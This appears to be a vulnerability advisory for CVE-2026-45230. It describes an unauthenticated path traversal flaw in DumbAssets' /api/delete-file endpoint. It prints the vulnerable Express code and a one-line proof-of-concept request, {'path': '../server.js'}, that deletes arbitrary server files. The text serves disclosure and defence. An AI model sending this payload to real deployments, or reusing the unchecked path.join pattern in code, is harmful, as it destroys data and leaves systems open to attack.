CVE-2026-45230: DumbAssets, deleting any file on the server

CVE-2026-45230

Unauthenticated path traversal in DumbAssets' /api/delete-file: a single ../ is enough to wipe server.js.

DumbAssets is a small self-hosted inventory manager built on Node.js/Express. When you remove an attachment from an asset (a photo, a receipt, a manual), the front end calls POST /api/delete-file with the path of the file to delete. The catch: that path comes from the client and is never validated (server.js):

app.post('/api/delete-file', (req, res) => {
    const { path: filePath } = req.body;   // chemin fourni par le client, brut
    if (!filePath) return res.status(400).json({ error: 'No file path provided' });

    // path.join résout les "../" → rien n'empêche de remonter hors du dossier de l'appli
    const absPath = path.join(__dirname, filePath.startsWith('/') ? filePath.substring(1) : filePath);

    fs.unlink(absPath, (err) => {          // ...et on supprime, sans vérifier le dossier final
        if (err) {
            if (err.code === 'ENOENT') return res.json({ message: 'File already deleted' });
            return res.status(500).json({ error: 'Failed to delete file' });
        }
        res.json({ message: 'File deleted' });
    });
});

Normally filePath looks like /Images/photo.jpg. But since path.join normalizes the ../, all it takes is sending:

POST /api/delete-file
Content-Type: application/json

{"path": "../server.js"}

…for absPath to point one level up and for fs.unlink to wipe server.js. Same story for ../package.json, the data files, and so on: anything the process is allowed to touch. And since the PIN (DUMBASSETS_PIN) is disabled by default, no authentication is required at all.

The same flaw exists on a second path: during an asset update, the filesToDelete array is passed to deleteAssetFiles, which loops over deleteAssetFileAsync, same logic, same missing check:

const cleanPath = filePath.startsWith('/') ? filePath.substring(1) : filePath;
const fullPath = path.join(DATA_DIR, cleanPath);   // toujours vulnérable aux "../"
fs.unlink(fullPath, (err) => { /* ... */ });